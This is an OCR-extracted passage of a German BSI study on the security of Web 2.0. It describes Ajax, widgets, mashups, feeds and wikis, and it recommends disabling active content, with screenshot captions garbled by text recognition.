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Zusammenfassung Web 2.0

1 Zusammenfassung

Web 2.0 ist ein Schlagwort, das als Oberbegriff fiir neue Nutzungsformen des Mediums World
Wide Web und eine neue Art von Web-Anwendungen mit hoherer Interaktivitét verstanden werden
kann. Ein wichtiger Bestandteil von Anwendungen aus dem Bereich Web 2.0 sind Aktive Inhalte
wie Ajax.

Durch den verstéirkten Einsatz solcher Techniken im Web werden Nutzer gezwungen, Aktive Inhal-
te freizuschalten, um entsprechende Web-Anwendungen uneingeschrankt nutzen zu konnen. Auf-
grund von Schwachstellen in den Browsern steigt dadurch jedoch das Risiko zahlreicher Angriffe,
die in thren Auswirkungen oftmals unterschétzt werden. Diese Angriffe nutzen Schwachstellen in
Web-Anwendungen, das heisst auf der Serverseite, um den Client anzugreifen. Ein erfolgreicher
Angriff erlaubt nicht nur das Auslesen sensibler Daten, sondern ermdglicht unter Umsténden auch
Zugriff auf lokale Ressourcen oder die Installation von Schadprogrammen.

Da das Kernstiick von Ajax, einer der wichtigsten technischen Komponenten von Web 2.0, von Ja-
vaScript abhdngt kommt diese Studie zu dem Schluss, dass — so lange keine geeigneten Mechanis-
men gegen die bestehenden Bedrohungen gefunden werden — die generelle Deaktivierung von Akti-
ven Inhalten nach wie vor die einzig wirkungsvolle Losung zum Schutz vor den beschriebenen An-
griffen darstellt.
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2 Einleitung

Der Begriff ,,Web 2.0“ ist ein derzeit haufig gebrauchtes Schlagwort, dessen Bedeutung allerdings
nicht immer ganz klar ist und je nach Kontext schwanken kann. Die meisten Anwendungen, die mit
dem Stichwort Web 2.0 in Verbindung gebracht werden, haben aber eines gemeinsam: Sie nutzen
intensiv Aktive Inhalte.

Die vorliegende Studie beschiftigt sich mit den Sicherheitsaspekten einiger dieser Anwendungen,
insbesondere mit einer zentralen Technik, die in vielen Féllen die technische Grundlage fiir die er-
hohte Interaktivitit von Anwendungen ist, die sich mit dem Attribut Web 2.0 schmiicken. Zielgrup-
pen sind sowohl Behorden und Unternehmen, die Web-Anwendungen anbieten, als auch an Privat-
anwender, die sich beim tdglichen Surfen unterschiedlichsten Bedrohungen aussetzen. Fiir beide
Gruppen werden nétige Sicherheitsanforderungen und mogliche Umsetzungen betrachtet.

Aufbau der Studie

Zunichst wird die Geschichte des Begriffs Web 2.0 kurz beschrieben. Es wird erldutert, welche
neue Techniken mit diesem Begriff verkniipft sind und wie sich diese zu bestehenden Web-Anwen-
dungen bzw. Techniken abgrenzen.

AnschlieBend wird untersucht, welche Auswirkungen es auf die Sicherheit der Benutzer hat, wenn
Web 2.0 Techniken genutzt werden, ob bestehende SicherheitsmaBBnahmen noch ausreichend
Schutz bieten und welche neuen Maflnahmen eventuell nétig sind.

Dieser zweite Teil beschiftigt sich vor allem mit dem Thema ,,Ajax* (Asynchronous JavaScript and
XML) und hier speziell mit dem JavaScript XmlHttpRequest-Objekt, das eine der wichtigsten
Komponenten von Web 2.0 darstellt. Die Einsatzmoglichkeiten und die Funktionsweise von Ajax
werden im Vergleich zu herkdmmlichen Aktiven Inhalten wie JavaScript und DHTML dargestellt
und entsprechend abgegrenzt. Es werden grundlegende Techniken von Web-Anwendungen erléu-
tert, die im Weiteren von Bedeutung sind. Allgemeine Schwachstellen und Gefdhrdungen werden
aufgezeigt und die in Browsern implementierten SicherheitsmaBnahmen diskutiert. Weiterhin wer-
den Moglichkeiten fiir Entwickler dargestellt, die Bedrohungen einzuschranken. Diese Moglichkei-
ten werden skizzenhaft an mehreren Beispielen dargestellt und untersucht. Anschlieend wird ge-
zeigt, wie Ajax missbraucht werden kann, um bestehende Sicherheitsmalnahmen zu umgehen und
welche neuen Gefdahrdungen und Risiken entstehen. Am Ende des Kapitels werden mogliche Si-
cherheitsmaBBnahmen fiir Benutzer vorgestellt, welche das Risiko auf ein Minimum reduzieren sol-
len.

Abschliefend wird diskutiert, in welchem Umfang Funktionen aus dem Bereich des Web 2.0 mit
,,herkommlichen* Techniken realisiert werden konnen und ob auf den Einsatz von Aktiven Inhalten
verzichtet werden kann. Dieses letzte Kapitel bietet Code-Beispiele, die zeigen, wie der Einsatz von
Ajax bzw. JavaScript vermieden werden kann, bzw. wie die Technik so eingesetzt werden kann,
dass einerseits alle Informationen und Interaktionen auch dann erreichbar sind, wenn im Browser
JavaScript deaktiviert ist, und andererseits weder Darstellung noch Navigation beeintréchtigt wer-
den. Abschliefend werden in diesem Kapitel noch kurz Probleme der Ajax-Technik im Zusammen-
hang mit dem Thema Barrierefreiheit diskutiert.

Aktive Inhalte

Den Schwerpunkt der Untersuchungen in dieser Studie stellen Sicherheitseigenschaften ,,neuer
Komponenten aus dem Bereich Aktiver Inhalte dar, nimlich Ajax und speziell das XmIHttpRe-
quest-Objekt. Solche Aktiven Inhalte werden nicht nur in Web-Anwendungen eingesetzt, die unter
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den Begriff Web 2.0 fallen, sondern auch an diversen anderen Stellen. Das wichtigste Resultat der
Studie bezieht sich deswegen nicht auf das Thema Web 2.0 im engeren Sinne, sondern allgemeiner
auf Web-Anwendungen, die diese Aktiven Inhalte verwenden.

Das Ergebnis der Studie bestitigt erneut die Position des BSI, von der Verwendung Aktiver Inhalte
in Web-Anwendungen abzuraten. Den neuen Moglichkeiten, die Technologien wie Ajax bieten,
steht eine Anzahl neuer Gefdhrdungen gegeniiber, die bei einer Abwéigung von Nutzen gegen Risi-
ko klar gegen die Nutzung Aktiver Inhalte sprechen. Dass erfolgreiche und benutzerfreundliche
Web-Anwendungen auch realisiert werden konnen, ohne dass Aktive Inhalte zu ihrer Nutzung
zwingend erforderlich sind, wird von einer gro3en Anzahl bekannter Anbieter aus verschiedenen
Bereichen (E-Commerce, Webmail, Online-Auktionen) bewiesen, deren Angebote auch mit deakti-
viertem JavaScript genutzt werden kdnnen.
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3 Der Begriff ,,Web 2.0

Web 2.0 wird oft nur als ein Modewort gesehen, das am ehesten fiir ein ,,interaktives Verhalten
von Web-Anwendungen steht. Hiufig wird aber auch der Aspekt des ,,user generated content™ als
zentrales Merkmal von Web 2.0 in den Mittelpunkt gestellt. Dieser Abschnitt illustriert die Bedeu-
tung des Begriffes Web 2.0 iiber seine Geschichte und anhand von Beispielen.

Erstmals verwendet wurde der Begriff Web 2.0 von Tim O'Reilly fiir eine Web-Konferenz im Okto-
ber 2004. ,,Web 2.0 doesn't have a hard boundary, but rather, a gravitational core*. Dieser Kern ist
in Abbildung 3.1 zu sehen, der aus einem Brainstorming auf der Web 2.0 Konferenz entstanden ist.

Web 2.0 Meme Map

“An atitude, not

TrIS1YaUF W5
& iechnobogy®

The Long Tail

alE a5 the “Intal nside” Rich User Experience

Granular addregsabilin
of contant

Emergant: Usar

Tha Right 1o Remix

Hackatiliey *Some rights resened”

behaior nat
predatarminad

Abbildung 3.1: Ergebnis eines Brainstormings auf der Web 2.0 Konferenz im Oktober 2004 [Orei05].

Generell beschreibt Web 2.0 keine neuen Technologien, sondern kombiniert bereits vorhandene
Techniken miteinander, um so neue Anwendungs- und Nutzungsmodelle zu erschaffen. Darunter
finden sich verschiedenste Anwendungsbereiche wie neue, soziale Kommunikationsplattformen,
Bild- und Videosharing Portale oder neue Web-Anwendungen, die einer bekannten PC — Anwen-
dung gleichen. Doch nicht nur neue Anwendungsmodelle lassen sich unter dem Stichwort Web 2.0
eingliedern, sondern auch bereits bekannte Konzepte, deren Interaktivitit eventuell mit Hilfe von
Ajax (siehe nichster Abschnitt) erhoht wurde, finden sich unter dem Schlagwort. Selbst RSS, das
bereits 1997 bekannt wurde, wird heute oft im Zusammenhang mit Web 2.0 genannt.
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Viele Modelle entstehen dabei durch den Beitrag der eigenen Benutzer (,,Software that gets better
the more people use it). So wiren z. B. Bild- und Videosharing-Portale, Wikis, Weblogs und dhnli-
che Services ohne eine groBe Anzahl von Benutzern, die ihre Bilder, Videos, Informationen oder
Kommentare der Offentlichkeit zur Verfiigung stellen, nicht vorstellbar.

Services wie Google Adsense und auch BitTorrent, die ebenfalls als Web 2.0 Anwendung bezeich-
net werden, folgen einer anderen Definition: ,, leverage customer-self-service and algorithmic data
management to reach out the entire web, to the edges and not just the center, to 'the long tail' and
not just the head “. Im Gegensatz zu Anbietern wie DoubleClick, die einen formellen Geschiftsver-
trag bendtigen, um ihre Werbung anzubieten und somit nur die grofSten Web-Anbieter unter Vertrag
haben, wird es mit Google Adsense auch kleinen Anbietern ermdglicht davon zu profitieren und si-
chert so seinen Marktvorteil.

BitTorrent bietet Daten zum Download an, setzt dabei aber auf Dezentralisierung und macht aus je-
dem Client gleichzeitig auch einen Server. Anstatt wie Akamai die Daten zentral anzubieten und
immer wieder auszubauen, um eine bessere Performance zu bieten, verwendet BitTorrent automa-
tisch die Bandbreite der eigenen Benutzer und folgt so auch dem vorgenannten Web 2.0 Prinzip,
dass der Service bzw. die Software besser wird, je mehr Leute es benutzen.

Viele neue und auch alte Modelle in Web 2.0 verwenden nun Ajax, das sowohl fiir den Austausch
von Daten zusténdig ist, als auch im Zusammenhang mit Frameworks fiir die Interaktion und somit
der Benutzerfreundlichkeit von Web-Anwendungen dient.

3.1 Interaktivitat bei Web-Anwendungen

Die Interaktivitit von Web-Anwendungen fallt unter den Begriff ,,Rich User Experience* und ist
der Aspekt, der fiir die Benutzer meist am deutlichsten erkennbar ist. Mit Hilfe von Aktiven Inhal-
ten (insbesondere Ajax) wird Web-Anwendungen eine neue Interaktivitit verliehen, die einer Desk-
top-Anwendung gleicht. Das bekannteste Beispiel hierfiir ist Google Maps (Abbildung 3.2). Ohne
ein Skript lokal installieren zu miissen, wie etwa bei Java-Applets, wird es Besuchern ermoglicht,
sich ohne lange Ladezeiten in einer weltweiten Straenkarte inklusive Satellitenaufnahmen zu be-
wegen. Der jeweils ausgewédhlte Bereich der Karte wird bei Bedarf im Hintergrund nachgeladen
und automatisch im Browser des Besuchers wieder dargestellt.

Datei Bearbeiten Ansicht Chronik Lesezeichen Extras Hilfe !
@ - - @ (&8 | O hitpumaps.google.comy [=[®] [[Cl=] soogle &)

Karten Drucken B2 E-Mail == URL zu dieser Sejte

J Suchergebnisse ‘ | Meine Karten M=y ‘

Ergebnisse 1-3 von ca. 270 fir bundesamt fiir
sicherheit in_ der informationstechnik bei Bonn, %
Garmany - Sucns dndam . Bundesamt fiir Sicherheit in der

Kategorien: Bundeshehédrden, £ =
EDV-Dienstleistungsunternehmen L?j?‘rlmlagtl_?ns':e‘:hmk

Bundesamt fur Sicherheit in der o S;%?gi’g:’ é!f:q;f:i
Informationstechnik - mer infos - 0278/9582 - 0 y
Godesberger Allee 183, 53175 Bonn, bsi.d

de
Germany v e
0228/9582 - 0

\ Route berechnen - |n der Nahe suchen
@ Bundesamt fur Sicherheit in der i E Unter "Meine Karten" speichern - An Telefon senden
Informationstechnik - mer infos - B/ N

Mainzer Str. 84, 53173 Bonn, Germany
0228/935983 - 0

@ Bundesamt fur Sicherheit in der
Informationstechnik - menr infos -
Am Mippenkreuz 19, 53179 Bonn, Germany
0228/344002

Alle 270 Ergebnisse fur bundesamt flir
sicherheit in der informationstechnik

Anzeigen ~| Wi t talGlobe GedRbRRaAREY

FiinrEcine

Abbildung 3.2: Web-Anwendung, die Ajax einsetzt (http://maps.google.com/).
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Obwohl Ajax als Technik bereits seit 1999 existiert, wird sie erst seit dem Schlagwort Web 2.0 ver-
breitet eingesetzt. Oftmals wird Ajax auch verwendet, um herkémmliche Web-Anwendungen kom-
fortabler zu gestalten und soll den Besucher entsprechend unterstiitzen (weitere Informationen in
Kapitel 4). In anderen Fillen, wie etwa Google Mail oder dem Beispiel aus Abbildung 3.3, wird die
komplette Web-Anwendung auf Ajax aufgebaut und ist fiir Besucher, die Aktive Inhalte aus Sicher-
heitsgriinden herausfiltern oder nicht verwenden konnen, nicht nutzbar.

SUPER WOW NOw

Create your own watch

HOW IT WORKS OFtD AFHICS MENT SERVICE

Camn  DESIGHN - o) YOUR PHOTO 1 CmmR  DORDER -

1 =jupload &

‘o

—

1 =l upload &

Save

i T 4
. e = .r resize [T upload &
®@® w = e
D 0 . - resize  shampen  conlral  blck & while  unda MMENT

Abbildung 3.3: Interaktive Web-Anwendung zum Erstellen einer individuellen Uhr (http://www.superwownow.com,).

Welche neuen Funktionen Ajax gegeniiber anderen Aktiven Inhalten wie ,,herkommlichen Ja-
vaScripts und DHTML bietet, wird in Kapitel 4 dargestellt. Welche neuen Gefdahrdungen und Risi-
ken hingegen Ajax mit sich bringt, wird anschlieBend im Kapitel 5.4 detailliert behandelt. Samtli-
che Funktionen und Attribute von Ajax werden im Anhang A ab Seite angefiihrt und zum Ver-
gleich (sofern moglich) in DHTML abgebildet.

3.2 Widgets

Widgets sind grafische Steuerelemente, die durch das Dashboard unter Mac OS X bzw. unter dem
Namen ,,Gadgets* unter Microsoft Windows Vista bekannt geworden sind (siche Abbildung 3.4).
Dabei handelt es sich um kurze Skript- bzw. Code-Fragmente, die in bestehenden Anwendungen
eingebaut werden kdnnen.
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& Microsoft Gadgets - Windows Internet Ex

| 'Ill\../l v |g http://microsoftgadgets.cc

<7 e i"_éMicrosof‘tGadgets

dicrosoft Gadgets  Gallery

Abbildung 3.4: ;/-V‘idget (bzw: Gla.dget) unter
Microsoft Windows Vista [Micr05].

Im Zusammenhang mit Web 2.0 bekommen Widgets nicht nur in Web-Anwendungen eine neue Be-
deutung. Durch die Verwendung von Ajax und JavaScript lassen sich nun Widgets realisieren, die
beispielsweise interaktiv auf die Eingaben des Benutzers reagieren. Eines der bekanntesten Widgets
ist hierbei OpenSearch von Mozilla Firefox, das bei Eingabe eines Suchwortes automatisch Such-
vorschldge im Browser anzeigt.

IG] Moz Q,-

- mozilla Suggesti... s
yu . .
| mozilla firefox |
| mozart
mozilla thunderkird
mozila &
maozilla firefox dow... v

Abbildung 3.5: Widget fiir automatische Such-
vorschldge [Mozz07].

Widgets fiir Web-Anwendungen sowie fiir den Desktop (Dashboard unter Mac OS X, Yahoo Widg-
et Engine, Windows Vista Sidebar, Google Desktop und weitere) verwenden Aktive Inhalte und
werden somit auf dem Client ausgefiihrt. Im Gegensatz zu den Widgets, die auf Webseiten imple-
mentiert werden, haben jene auf dem Desktop jedoch in der Regel Zugriff auf die lokalen Ressour-
cen (z. B. sensible Daten auf der Festplatte) und bilden so bei einer Schwachstelle ein erhéhtes Si-
cherheitsrisiko.

33 Mashups

AuBler einer erweiterten Interaktivitdt und Benutzerfreundlichkeit von Web-Anwendungen durch
den Einsatz von Ajax gehoren auch sogenannte Mashups zum Themenkomplex Web 2.0. Mashups
nutzen die definierten Programmierschnittstellen (APIs), um den Inhalt mehrerer Web-Anwendun-
gen mit anderen zu kombinieren und so eine neue Anwendung zu schaffen. Ende Februar 2007 ver-
buchte die Web-Plattform programmableweb.com bereits iiber 1600 solcher Mashups [Muss07].
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Hiufig anzutreffen sind dabei Kombinationen mit Google Maps. Die Schnittstelle dieser Web-An-
wendung erlaubt es, auf der eigenen Webseite die Landkarten und Satellitenbilder mit individuellen
Markierungen zu versehen. Geowalk.de geht noch einen Schritt weiter und kombiniert Google
Maps mit FlickR, Wikipedia, Google News und Yahoo Travel (siche Abbildung 3.6).

m:'nusllh
@ Beanch ol ¥
4 > S T
= BFO FHOTO HEWS TRAVEL  US\Washer - —
Anbury n..-l_ - J-.n.

> | ooue e
&)
= -

flickr ...

S rea
k :E-Q.urt
!
e

o [ -

@:;gk‘ {% ¥ o~ nst% Map ke D006 Telmain - Tasms of e
Wﬂl‘l‘l [Fsbary Park, 10 onaf

pormad by geacaman

Abbildung 3.6: Geowalk - ein Mashup aus Google Maps, FlickR, Wikipedia, Google News, Yahoo
Travel [Fact07].

Inzwischen bieten viele Web-Anwendungen derartige Schnittstellen, die es ermdglichen den Inhalt
oder Teile davon weiterzuverwenden. Der Kommunikationsablauf dazu ist durch das jeweilige API
der Web-Anwendung definiert und kann so ein proprietires Protokoll darstellen. Als Format fiir die
Darstellung der iibermittelten Daten wird hingegen meist XML verwendet.

Der gesamte Ablauf kann sowohl dynamisch auf dem Webserver als auch aktiv auf dem Client er-
folgen. Bei Geowalk wird beispielsweise ein Adobe Flash-Applet aktiv auf dem Client ausgefiihrt,
das die ndtigen Server kontaktiert, die Informationen aufbereitet und kombiniert wieder auf dem
Client darstellt.

34 Soziale Kommunikationsplattformen

Unter dem Begriff soziale Kommunikationsplattformen versammeln sich Web-Anwendungen, die
meist schon vor Web 2.0 bekannt waren. Technologien wie Ajax oder DHTML spielen bei dieser
Kategorie nur eine untergeordnete Rolle. Mehr Bedeutung haben hier die definierten Schnittstellen,
die es erlauben einzelne Artikel, Bilder, Videos, Kommentare etc. zu referenzieren bzw. bei Ver-
wendung von Newsfeeds (RSS) iiber Neuigkeiten einer abonnierten Seite informiert zu werden (sie-
he den folgenden Abschnitt 3.4.1).
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Im eigentlichen Zustand sind die Applikationen meist serverseitig und unabhéngig vom Client bzw.
dessen Technologien.

34.1 Weblogs, Permalinks, RSS und Atom

Ein Weblog beschreibt ein digitales Online-Tagebuch. Es stehen zahlreiche Weblog-Ldsungen als
Open-Source-Software oder durch verschiedene Weblog-Betreiber als Service zur Verfiigung. Der
Autor eines Weblogs (sogenannter Blogger) kann auf einfache Weise Artikel hinzufiigen, modifi-
zieren etc. und so seine personlichen Erfahrungen in einem chronologischen Schema darstellen (sie-

he Abbildung 3.7).
Sample blog

M
archives
Albums

test | 5 January, 2005 00:29

RSS 0.0
test |5 January, 2003 00:23 RS5 10
RSS20

Abbildung 3.7 Open-Source-Weblog: LifeType.
Aktive Inhalte werden hierbei meist nur auf der Seite des Autors eingesetzt. Fiir die Bearbeitung
von Artikel bieten verschiedene Web-Anwendung einen komfortablen visuellen Web-Editor, der
mit Hilfe von DHTML bereits den fertigen HTML-Code anzeigt.

Fiir Besucher des Weblogs sind hingegen sogenannte Permalinks und RSS von Wichtigkeit. Bei
Weblogs handelt es sich um dynamische Seiten, die bei jeder Anfrage serverseitig neu generiert
werden. Wenn ein Benutzer durch Setzen eines Lesezeichens auf die Internet-Adresse (URL) des
Weblogs den Inhalt der aktuellen Seite speichern mdchte, kann das Lesezeichen bei einem erneuten
Aufruf bereits einen anderen Inhalt aufweisen, als urspriinglich gespeichert wurde. Andererseits
gibt es Besucher, die nicht den aktuellen Inhalt speichern wollen, sondern den Weblog selbst, um so
immer tiber aktuelle Neuigkeiten zu erfahren.

Fiir den ersten Fall bieten viele Weblogs Permalinks, die einen aktuellen Artikel in der aktuellen
Version referenzieren und so immer auf den gleichen Inhalt verweisen. Bei jeder Anderung eines
Artikels wird somit auch ein neuer Permalink erzeugt. Aus Benutzersicht gesehen, handelt es sich
um eine gewoOhnliche URL, wie jede andere Internet-Adresse. Generiert werden diese Permalinks
jedoch serverseitig und stellen (je nach Implementierung) aufgrund der Informationen in der URL
den urspriinglichen Zustand wieder her.

Fiir den zweiten Fall gibt es RSS-Feeds, die nicht nur bei Weblogs, sondern insbesondere bei Nach-
richtenmeldungen, eingesetzt werden. Uber eine definierte Schnittstelle werden immer die aktuellen
Daten (Nachrichten, Artikel, Bilder etc.) im XML-Format zur Verfiigung gestellt. Diese RSS-Feeds
konnen tiber den Browser (siehe Abbildung 3.8) oder eine eigene Applikation wie Aggregator und
Feed-Reader empfangen und dargestellt werden. Aggregator werden meist serverseitig implemen-
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tiert und erlauben es mehrere News-Feeds zu verarbeiten, die auf einer eigenen Seite beispielsweise
wieder als RSS-Feed zur Verfiigung gestellt werden. Feed-Reader hingegen sind Applikationen, die
lokal am System installiert werden (und so mit den Rechten des Benutzers laufen).

gx ©sesr
-

Datei Bearbeiten Ansicht Chronik Lesezeichen Extras

@A

e »-€ Wi

Bl heise online News]

[ | Meue Proteste gegen Telekom-Sparplane

| Ll Cisco inwvestiert weiter in Community-Software
|_| Free Software Foundation will mit Hardware-...
[ | 02-Chef denkt an Handytarife mit Musik HnElnge
[ | Nachfrage nach Handys und Speicher treibt ...
| | Skype-Mummern in Online-Kontoauszigen v...

| | Miedersachsischer Stadte- und Gemeindebu...

Abbildung 3.8: RSS-Feeds im F. i;’eféx.

RSS ermdglicht es Benutzern sich an einer Webseite ,,anzumelden* und so automatisch iiber Neuig-
keiten informiert zu werden. Grundsétzlich handelt es sich bei Weblogs aber in der einfachsten
Form lediglich um personlich gehaltene Webseiten, die bereits zu Beginn des Internets lange Zeit
vor Web 2.0 bekannt waren.

Inhalte wie z. B. die Titel von Pressemitteilungen kénnen in einem RSS-Feed grundsitzlich in be-
liebigen Formaten (Klartext, HTML etc.) libertragen werden. Es gibt allerdings keine direkte Mog-
lichkeit zu definieren, welches Format fiir den Inhalt verwendet wurde und es ist somit dem Feed-
Reader tiberlassen, die Nachricht richtig darzustellen. Atom ist ebenfalls ein XML-Format fiir
Feeds, das aber erst im Dezember 2005 als offizieller Internet-Standard [RFC4287] verabschiedet
wurde und gilt als Nachfolger von RSS. In Atom ist es moglich, das Format des Inhalts mit anzuge-
ben und bietet damit eine Funktion, die vor allem von Weblog-Losungen hdufig verwendet wird.

RSS- bzw. Atom-Feeds konnen Aktive Inhalte und somit auch Schadcode enthalten, die von Feed-
Readern automatisch heruntergeladen und ausgefiihrt werden. Daher ist es wichtig, einen Feed-Rea-
der zu wihlen, der Aktive Inhalte entweder ignoriert oder entsprechend herausfiltert. Bei einem er-
folgreichen Angriff wiirde der Schadcode mit den Rechten des Feed-Readers (bzw. des Benutzers)
am lokalen System laufen.

3.4.2 Wikis

Wikis sind Sammlungen von Seiten, die meist 6ffentlich zur Verfligung stehen und von Benutzern
nicht nur gelesen, sondern auch verdndert werden konnen. Es gibt zahlreiche Anbieter und Web-
Anwendungen in verschiedenen Programmiersprachen. Wikis waren bereits vor Web 2.0 bekannt
und im Einsatz (wikipedia.org wurde beispielsweise bereits im Januar 2001 gegriindet). Grundle-
gende Neuerungen gibt es seither keine - visuelle Editoren wie bei Weblogs waren hier bereits im
Einsatz (sieche Abbildung 3.9).
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Title
WY3IWYG Editing

Location: The Man In Blue = Home ECIT

Select a page template to start from.

Wiki Markup Preview

B 5 O x‘!BGI--Fnrmal-- v | & ==

Multiple Header Styles (user defined)

b
]
¥
]

This is an example of WYSIWYG editing

* Font
* Bullets & numbering
* Indenting paragraphs

Abbildung 3.9: Ein WYSIWYG-Web-Editor.
343 Bild- und Videosharing-Portale

Einer groBBen Beliebtheit erfreuen sich seit Breitband-Internet-Anbindungen Bild- und Videosha-
ring-Portale. Benutzer kdnnen ihre eigenen Daten hochladen, der Offentlichkeit zur Verfiigung stel-
len und Kommentare abgeben. Viele Portale und Applikation entwickelten sich erst kurz vor
(FlickR, Februar 2004) bzw. erst nach der Entstehung des Begriffes Web 2.0 — YouTube (Februar
2005, sieche Abbildung 3.10), MyVideo (April 2006), etc.

(11 Tube)

Broadcast Yourself™ Videos

]

Categories Channels
Videos Most Viewed (Today)
Browse ) . Page
Most Recent - ) - =
@ Most Viewed
Top Rated
Most Discussed :
Top Favorites | B —
Mast Linked Happy Feet (CLIP) What Happens When Re: LOST - John
: SuperMoviesDown You Pour Coke On Locke - Speed
You Pour Coke On Cke
Recanth Featurad load.com Raw Pork? Painting
Most Responded 10:50 00:50 00:42
Watch on Mabile Aclded: Adcled: Aclded:
From: moviesgroup?11 From: Wowowillie1 From: snurrerunct
2 Wiews: 230,099 Yiews: 183 777 Yiews: 128 968
Time
ik *ki *kkd
@ Today 511 ratinas 787 ratinas 798 ratinas

Abbildung 3.10: Videosharing Portal — YouTube.

Wie bereits bei Mashups (Abschnitt 3.3) erwihnt, bieten diese Web-Anwendungen meist offene
Schnittstellen, die es erlauben einzelne Teile (Bilder, Videos, Kommentare etc.) auf anderen Web-
seiten einzubinden. Die Verarbeitung kann auch hier sowohl server- als auch client-seitig ablaufen.

Fiir die Darstellung der Bilder bzw. Video-Streams werden ebenfalls Aktive Inhalte wie Adobe
Flash, RealVideo, Quicktime oder Windows Media Player verwendet, die zahlreiche Schwachstel-
len aufweisen. Die Sicherheitsaspekte dieser Aktiven Inhalten werden in dieser Studie nicht weiter
betrachtet, diirfen aber dennoch keinesfalls ignoriert werden.
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3.5 Weitere Anwendungen

Da der Begriff Web 2.0 sehr vage definiert ist, gibt es noch zahlreiche weitere alte und neue An-
wendungen wie Napster, Upcoming.org oder Google Office und Techniken wie Suchmaschinenop-
timierungen (Google Pagerank, Amazon) oder Tagging (del.icio.us, Digg.com), die im Zusammen-
hang mit Web 2.0 genannt werden. Viele Web-Anwendungen verwenden Aktive Inhalte, die sich
teilweise nur schwer von der eigentlichen Anwendung trennen lassen. In manchen Féllen wird Ajax
und DHTML hingegen nur zur Unterstiitzung und besseren Benutzerfreundlichkeit eingesetzt, die
Anwendungen lassen sich aber grundsétzlich auch ohne Aktive Inhalte realisieren bzw. verwenden.

Das Zusammenspiel von Ajax und DHTML wird im nachfolgenden Kapitel behandelt und anhand
eines einfachen Beispiels dargestellt. Die Gefahren und Risiken Aktiver Inhalte sowie neue Bedro-
hungen durch Ajax werden anschlieend analysiert.

Alternativen zum Einsatz Aktiver Inhalte wie Ajax und DHTML, die der Unterstiitzung des Benut-
zers dienen sollen (siche Abbildung 3.11), zeigt Kapitel 6 (ab Seite 48). Bei richtiger Verwendung
ist es moglich, Web-Anwendungen zu erstellen, die fiir Benutzer auch dann vollstindig nutzbar
sind, wenn Aktive Inhalte nicht unterstiitzt oder aus Sicherheitsgriinden heraus gefiltert werden.

Mame And Adresse

Name* I

Adresse I

Bundesland Br]gls Elgls{ids =
Stade* Brandenburg

PLZ" lE&remen

2005 [B00% 2000

Abbildung 3.11: Einsatz von Ajax und DHTML zur Unterstiitzung des Benutzers: automatische Vor-
schidge bei Formulareingaben (links) und komfortable Auswahl iiber einen Kalender (rechts).
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4 Ajax (Asynchronous JavaScript and XML)

Ajax ist eine der wichtigsten technischen Komponenten von Web 2.0 und verkniipft mehrere, beste-
hende Technologien miteinander, um einen asynchronen Austausch von Nachrichten zu ermogli-
chen. Dadurch konnen einzelne Teile einer Webseite nachgeladen bzw. verdndert werden, ohne die
komplette Seite neu zu laden und bietet Benutzern somit ein schnelleres und interaktives Verhalten
der Webseite.

Abbildung 4.1 zeigt eine dynamische Webseite (Webmail) mit den aktuellen E-Mails. Der Titel und
Absender empfangener E-Mails sowie die Anzahl neuer Nachrichten am linken Rand (Posteingang)
sollen aktualisiert werden, sobald neue Nachrichten eintreffen.

. Mail"-' Posteingang (2) - Mozilla Firefox

Datei Bearbeiten Ansicht Chronik Lesezeichen Extras Hilfe

@ @0 R0

[} Mail - Posteinga... |3

[ Nachrichten durchsuchen | Web durchsuchen | Suchontionen anzeigen
Filter erstellen

E-Mail schreiben

mg;_“g_@ Archivieren | Spammelden | Léschen | |Weite|‘e Aktionan. . ~| Aktualisizren

[;?ITIE&} Auswahl: Alle, Keine, Gelesen, Ungelesen, Markiert, Micht markiert
ats :

Gesendet [~ Dworschak, Roland Ajax Test

Entwiirfe [~ Dworschak, Roland Ajax

Alle Machrichten

Spam
Papierkarb

Abbildung 4.1: Web-Anwendung, deren Inhalt beim Empfang neuer E-Mails aktualisiert werden soll (Ursprung:
http://gmail.com/).

Dies kann beispielsweise ohne Aktive Inhalte durch einen Timer realisiert werden, der die entspre-
chende Seite in regelméfBigen Abstinden neu ladt. Unverénderte Elemente, wie Bilder oder eventu-
ell die komplette Seite (falls keine neuen E-Mails vorhanden sind), werden lokal vom Browser-
Cache geladen. Des Weiteren besteht die Moglichkeit, die dynamischen Elemente in einem eigenen
Inline-Frame darzustellen und jeweils nur diese Seiten zu aktualisieren.

Ajax bietet nun eine weitere Moglichkeit, regelmifBig zu iiberpriifen, ob neue Nachrichten vorhan-
den sind. Anstatt die komplette oder Teile der Seite regelmafig neu darzustellen, werden die ent-
sprechenden Stellen der Webseite direkt ausgetauscht. Die Besucher sehen somit automatisch im-
mer die aktuellsten E-Mails, ohne etwas tun zu miissen.

Wie in der Abbildung 4.2 zu sehen, werden beim manuellen Anfordern der Seite bzw. beim auto-
matischen Aktualisieren (durch einen Timer) alle Elemente durch den Browser neu angefordert'
und nur die zu dem Zeitpunkt aktuellen E-Mails angezeigt. Im Gegensatz dazu erfolgt bei Ajax die
Abfrage nach neuen E-Mails im Hintergrund; sie werden nur dann auf der aktuellen Seite darge-
stellt, wenn es entsprechend Anderungen gibt.

Um eine Nachricht zwischen Client (Browser) und Server auszutauschen, wird ein JavaScript-Ob-
jekt bendtigt, das diese Funktionalitdt unterstiitzt. Urspriinglich wurde dies 1999 durch Microsoft
im Internet Explorer als ActiveX-Objekt XMLHTTP realisiert.

1 Bei entsprechender serverseitigen Implementierung werden unverdnderte Objekte vom lokalen Cache des Browsers
bezogen.

Bundesamt fiir Sicherheit in der Informationstechnik 17



Web 2.0 Ajax (Asynchronous JavaScript and XML)

Browser-Fenster Browser Webserver
Anfordem der Anfrage URL -
Seite (Benutzer)
HTML Seite,
Seite komplett komplette CSS5, Bilder, ...
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= . 3 HTML Seite
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Abbildung 4.2: Schematischer Kommunikationsablauf manuell, automatisch und mit Ajax.

Spéater implementierten Mozilla (ab Version 1.0 im Jahr 2002) und andere Browser ein XML-
HttpRequest-Objekt als Erweiterung von JavaScript, das die Funktionen und Eigenschaften des ur-
spriinglichen ActiveX-Objekts unterstiitzt und somit die Basis fiir Ajax darstellt.

Browser-Fenster Browser Webserver
F=
-
| e
0
o
i
| 8 L
(1] g- o Anfrage
wn - @ E mails.xmi
(&) R | K| | | | Mmen
“| 5| |8 & —™
. _ 7] E B ™1 comis
rateliung = [ic] | 7| e
aktualisiert = = = .
i =2 | A

Darstellung Ijr!'utustausc:h
von Daten | von Daten

Abbildung 4.3: Trennung zwischen Austausch von Daten (Ajax, markierter Bereich) und Dar-
stellung von Daten (vgl. [Shre06], Abbildung 1).
